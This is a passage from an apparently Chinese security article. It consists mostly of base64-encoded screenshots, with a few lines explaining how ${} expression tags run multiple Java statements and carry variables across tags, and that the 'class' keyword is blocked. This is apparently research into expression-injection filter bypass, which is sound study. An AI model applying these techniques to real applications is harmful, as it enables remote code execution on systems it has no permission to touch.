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
|
|||
|
|
<p><code>class</code>关键字也是没法直接用于获取类的</p>
|
|||
|
|
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160411-e10dedec-135a-1.png><img src="data:image/png;base64,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
|
|||
|
|
<h3 id=toc-2>2. 变量传递</h3>
|
|||
|
|
<p>一个<code>${}</code>标签可以执行多行java代码,用分号分隔,返回值是最后一段</p>
|
|||
|
|
<p><a id=img5 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160431-ecb83ab2-135a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA58AAAJcCAYAAAB+GhDSAAEAAElEQVR4nOzdd1hT1x8G8JctQ0ABB0tAUARBBVRAtCAKHYp7VKvWPVtt3aPuVetotVZbrbauKrV1/erA3eKq4sKNWlTAwVKUPfL7I+ZKSAIJEOb7eR5ak7vOvTc3ud97vuccjTZt2ojwVl5eHnJzc/HHH3/A2toaRERERERERKVBs7wLQERERERERFUfg08iIiIiIiJSOwafREREREREpHYMPomIiIiIiEjtGHwSERERERGR2jH4JCIiIiIiIrVj8ElERERERERqJzf4FIlE8t4mIiIiIiIiKhbWfBIREREREZHaMfgkIiIiIiIitWPwSURERERERGrH4JOIiIiIiIjUjsEnERERERERqR2DTyIiIiIiIlI7Bp9ERERERESkdgw+iYiIiIiISO0YfBIREREREZHaMfgkIiIiIiIitWPwSURERERERGrH4JOIiIiIiIjUjsEnERERERERqR2DTyIiIiIiIlI7Bp9ERERERESkdgw+iYiIiIiISO0YfBIREREREZHaMfgkIiIiIiIitZMJPkUiUXmUg4iIiIiIiKow1nwSERERERGR2jH4JCIiIiIiIrVj8ElERERERERqx+CTiIiIiIiI1I7BJxEREREREakdg08iIiIiIiJSOwafREREREREpHYMPomIiIiIiEjtGHwSERERERGR2jH4JCIiIiIiIrVj8ElERERERERqx+CTiIiIiIiI1I7BJxEREREREakdg08iIiIiIiJSOwafREREREREpHYMPomIiIiIiEjtGHwSERERERGR2jH4JCIiIiIiIrXTLu8CVES5ubl4/vw5bty4gaSkJNy7dw+JiYkAgEaNGsHMzAy6urpwd3eHpaUlDAwMyrnEREREREREFRuDz7eSkpJw4MAB7Nq1C1euXMGzZ8+UXrZZs2bw9/dHjx494OvrCy0tLTWWlIiIiIiIqPLRaNOmjUjyIi8vDzk5Ofjjjz9gY2NTnuUqM5GRkVi7di127tyJV69elXh9ffr0wYYNG1CzZs1SKB0REREREVHVUG1rPpOTk7Fo0SJs3LixVIJOiczMTOTl5ZXa+oiIiIiIiKqCahl8Hj16FDNmzMClS5fKuyhERERERETVQrXq7VYkEuH777/HwIEDGXgSERERERGVoWpT85mbm4vly5dj4cKFePPmjUrLOjo6wtTUFADw8uVL3L9/Xw0lJCIiIiIiqrqqRfApEomwatUqpQJPIyMj+Pj4oFevXujQoQNsbW1leq8ViUR48eIFLl++jCNHjuDIkSO4c+eOOneBiIiIiIioUqsWwWdoaChWrFhRaOBpZGSErl27YsqUKXBzcyt0fRoaGqhbty4++OADfPDBBxCJRLh27RpWrVqF1NTU0i4+ERERERFRpVflg8/w8HDMnTu30HE7GzZsiK+//hrdu3eHhoaGytvQ0NBA8+bN8euvvyIjIwN6enolKTIREREREVGVU6WDz7i4OMyePbvQlFgfHx+sW7cOzZo1K5Vt1qhRo1TWQ0REREREVJVU2eBTJBLhp59+wsmTJxXO4+fnh82bN8PR0bEMS0ZERERERFT9VNmhVsLDw7Ft2zaF052dnbFkyRIGnkRERERERGWgSgafmZmZ2Lx5Mx48eCB3upGREaZNmwY/P78yLhkREREREVH1VCWDz+PHj+PQoUMKp/fq1Qt9+/YtwxIRERERERFVb1Uu+MzKysKePXsU9m7btGlTfPbZZ+yRloiIiIiIqAxVueDzxo0bCA8PVzj9ww8/RPPmzcuuQERERERERFT1gs+//vpL4dAqzs7O6NOnT7HG8iQiIiIiIqLiq1LBZ0JCAs6cOaNwup+fH5o2bVqGJSIiIiIiIiKgigWf169fx40bN+ROMzIywnvvvQddXd0yLhURERERERFVqeDzzJkziI2NlTutcePGaNWqVRmXiIiIiIiIiIAqFHympaXh9u3bCqe7ubnBzs6u7ApEREREREREgioTfD558qTQ4NPFxYUpt0REREREROWkygSfDx8+RExMjNxp5ubm7GiIiIiIiIioHGmXdwFKy507d5CQkCB3mrW1NRwcHBQum5mZiQsXLuDgwYOIiIhAXFwcbt26BUDcUZG9vT3q1q0LT09PvPfee3jvvfdgYGCglv0gIiIiIiKqiqpM8Pnw4UOF00xNTWFiYiLz/osXL7B69Wr89ttvCpd/8+YNIiMjERkZiWPHjuHrr79GvXr10LVrV4wZMwZubm6ltg9ERERERERVVZVIu339+jWePn2qcLqZmRkMDQ2F17m5udi4cSO8vLywaNGiQgNXeZ49e4b169ejbdu2mDRpEpKTk4tddiIiIiIiouqgSgSfqampSExMVDjdwsICNWvWFOadOHEivvjiCzx58qRE23316hVWrFiBoKAgnDlzpkTrIiIiIiIiqsqqRPCZnZ2N1NRUhdPr1KkDQNy2c8aMGfjuu+/w5s2bUtv+pUuXMGzYMBw6dKjU1klERERERFSVVIngMyYmBklJSQqnGxkZQSQSYc2aNdi0aZNaynDnzh18+eWXCA8PV8v6iYiIiIiIKrMq0+FQUf7880+sWLFCbo2njY0NWrVqBW9vb1hbWwvvx8TE4Nq1azh9+rRSKbp37tzB9OnTsXnzZjg6OpZq+YmIiIiIiCqzKhF8Pn36FA8ePFA4/eXLl9i4cSOePXsm9b6vry+++OILdO7cGXp6egqXz83NxZEjR/D111/j77//LrQs4eHhWLNmDZYtW1boOomIiIiIiKqTKpF2W5S9e/dKpcMaGRlh6tSpCAsLQ8+ePYsMErW0tPDhhx/i4MGDWLBggdxhW/ILDQ3F8ePHS6XsREREREREVUG1CD5v3bolpNuamJhg3rx5WLJkidTwK8owNDTEzJkzMWvWLBgZGSmc79mzZ9ixY0ehnSARERERERFVJ9Ui+JQwMjLCrFmz8MUXX0BDQ6NY69DQ0MBnn32GIUOGFDrf+fPncf369WJtg4iIiIiIqKqpVsFncHAwhgwZUuzAU0JPTw/jx49HmzZtFM7z4MED9nxLRERERET0VrUJPm1tbTF69GjUrl27VNbn4OCA4ODgQue5cOECXr9+XSrbIyIiIiIiqsyqTfDp7e0Nb2/vUl3nRx99BGdnZ4XTHzx4gLi4uFLdJhERERERUWVUbYLPjz76SOUOhorSsGHDQoPP+Ph4xMbGluo2iYiIiIiIKqMqEXzq6+vD3Nxc4fRGjRqhSZMmpb5dExMTODo6KpweGxuLhISEUt8uERERERFRZVMlgk9TU9NCx940MTFBvXr11LLthg0bFjr90aNHatkuERERERFRZVIlgs/atWujZs2aCqfXr1+/0OklUadOHbWsl4iIiIiIqCqpEsGnkZER9PX1FU7X1NQs8fAqipiamsLKykot6yYiIiIiIqoqqkTwaWxsDEtLS4XTnz9/jjdv3qhl2/r6+qhRo4Za1k1ERERERFRVVIngs2bNmqhfv77C6Tk5OcjLy1PLttPT05GRkaGWdRMREREREVUVVSL4BABXV1eF05KSkhATE6OW7b58+bLQ4VTU1daUiIiIiIioMqkywWejRo0Utr188OABnjx5opbtvnjxQuE0IyOjQtOBiYiIiIiIqosqE3w2btwYtra2CqdfvHhRLdu9efOmwmmWlpaFpgMTERERERFVF1Um+LS0tESLFi0UTv/3338LTY8tjoSEBERFRSmcbm9vD3t7+1LdJhERERERUWVUZYJPDQ0N+Pj4wMjISO70y5cv4+TJk6W6zevXr+PGjRsKpzds2BBmZmaluk0iIiIiIqLKqMoEnwAQEBAADw8PudPevHmDP/74A69evSqVbWVlZeG3335TWJtqZGSE9u3bq218USIiIiIiosqkSgWflpaWCAgIUDj92LFj2LFjR6ls659/
|
|||
|
|
<p>可以支持解析多个标签</p>
|
|||
|
|
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160458-fcf52494-135a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAv0AAAIKCAYAAACwUfC1AADiZUlEQVR4nOzdd1xV5R8H8A9bhoAyHAwFuTIUVMABKKIoqCnunZZ7lpZbKzNn7p8jLc3KLbmtFMxNoiVqKiqCE1CUoaCAl/n7A++Jy73AvWyun/fr1Ss594zn7O95zvd5jpqXl1cu3snJyUF2djYOHDgAS0tLEBERERFR9ade2QUgIiIiIqLyxaCfiIiIiEjFMegnIiIiIlJxDPqJiIiIiFQcg34iIiIiIhXHoJ+IiIiISMUx6CciIiIiUnEM+omIiIiIVByDfiIiIiIiFcegn4iIiIhIxTHoJyIiIiJScXKD/tzc3IouBxERERERlRPW9BMRERERqTgG/UREREREKo5BPxERERGRimPQT0RERESk4hj0ExERERGpOAb9REREREQqjkE/EREREZGKY9BPRERERKTiGPQTEREREak4Bv1ERERERCqOQT8RERERkYpj0E9EREREpOIY9BMRERERqTgG/UREREREKo5BPxERERGRimPQT0RERESk4hj0ExERERGpOAb9REREREQqTiboz83NrYxyEBERERFROWFNPxERERGRitOs7AKUJ7FYjISEBOTk5EBbWxvm5uZQU1Mr9+VmZ2fj+fPnyM7Ohp6eHkxMTMp9mcVJTExEWlpalSkPEREREVUclQn6c3NzERUVhSNHjuD48eO4ffs24uLiZMYzMjJC48aN4e7ujg8++ACdOnWCjo5OqZYbHh6OX3/9FSEhIYUu187ODs2aNYO/vz969uwJc3PzEi+zONnZ2bhw4QJ27tyJ0NBQ3L59W2acZs2awcfHB3379oWnpyc0NDTKrTxEREREVLnUvLy8hCT+nJwcZGVl4cCBA7CysqrMciksNzcXp06dwvLly3Hy5Emlp+/bty9++ukn1KxZU+nlBgcHY8mSJTh//rxS0xoZGaFPnz748ssvYWNjo9S0RcnOzsbu3buxYsUK3Lx5U+HpvL29MXfuXPj5+VXImxAiIiIiqljVOqf/4cOH+Pjjj9G7d+8SBfxAXqCck5Oj1DQxMTH4+OOP0a9fP6UDfgBITk7GTz/9hPbt22PdunXIzs5Weh4FxcfHY9SoURg+fLhSAT8AnD9/HgMHDsSXX34JsVhc6rIQERERUdVSbdN7goKCMH36dNy6datCl/vXX39h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
|
|||
|
|
<p>可以看出来变量赋值是可以跨标签的,也就是变量会写入上下文,并且由解析器维护</p>
|
|||
|
|
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240516160510-04049238-135b-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAvQAAAIZCAYAAADJBqtKAADwq0lEQVR4nOzdd1QUVxsG8Icm0lGKSlOaNEEFVJoIomDF3qOJvSaa2DWJMdbYP0s0sSV2jRpLooIlFmJJxIYd7ICFoqKAi8B+f+BuWNhddumLz++cnMhOu9PfufPeO2r+/v5CFCAUCpGbmwsnJydMnToVTk5OBUchIiIiIqJKQL3gD0KhEEKhEMbGxpg4cSLq169fEeUiIiIiIiIFyAzox44dC1tbW6ipqVVEuYiIiIiISAGFAnoAqFOnDlxcXKCrq1ve5SEiIiIiIiVIBPSi2nkLCwtUq1atospEREREREQKkhrQN2nSBHp6ehVVJiIiIiIiUpDUlJvGjRsz3YaIiIiISAVIbRRbs2ZNaGpqVkR5iIiIiIhICVJr6ImIiIiISDUwoCciIiIiUmEM6ImIiIiIVBgDeiIiIiIiFcaAnoiIiIhIhTGgJyIiIiJSYQzoiYiIiIhUGAN6IiIiIiIVxoCeiIiIiEiFMaAnIiIiIlJhDOiJiIiIiFQYA3oiIiIiIhXGgJ6IiIiISIUxoCciIiIiUmFSA3qhUFje5SAiIiIiomJgDT0RERERkQpjQE9EREREpMIY0BMRERERqTAG9EREREREKowBPRERERGRCmNAT0RERESkwhjQExERERGpMAb0REREREQqjAE9EREREZEKY0BPRERERKTCGNATEREREakwBvRERERERCqMAT0RERERkQpjQE9EREREpMIY0BMRERERqTAG9EREREREKowBPRERERGRCmNAT0RERESkwgoF9EKhsCLKQURERERExcAaeiIiIiIiFcaAnoiIiIhIhTGgJyIiIiJSYQzoiYiIiIhUGAN6IiIiIiIVxoCeiIiIiEiFMaAnIiIiIlJhDOiJiIiIiFQYA3oiIiIiIhXGgJ6IiIiISIUxoCciIiIiUmEM6ImIiIiIVBgDeiIiIiIiFcaAnoiIiIhIhTGgJyIiIiJSYQzoiYiIiIhUGAN6IiIiIiIVxoCeiIiIiEiFaVZ0ASqjnJwcPH/+HNevX0dqairu3r2LlJQUAED9+vVhYmKCatWqwcPDAxYWFtDV1S23sr1+/Rrx8fG4desWsrOzxWXT0NCAi4sLDAwMUL9+fdjb28PIyKjcylUaBAIBnj17huvXr+PVq1e4desW3rx5I7FuBgYGaNCgAWrXrg1tbe2KLjIRERFRhWNA/0FqaioOHjyInTt34vLly3j27JnC0zZs2BBBQUHo1q0b/Pz8oKGhUWrlSkhIwKFDhxAREYF//vkHT548UXhaZ2dnhIWF4bPPPkPDhg2hpqZWauUqLQkJCdi5cyf++OMPXLp0Ca9fv1ZoOn19fbi6uqJ169bo3bs33NzcKuX6EREREZU1NX9/f6Hoj9zcXGRnZ2PPnj2wtrauyHKVm5iYGKxatQo7duxQOJiUp1evXli7di0MDAyKPQ+BQIA///wTa9euRVRUFN6+fVvicgUG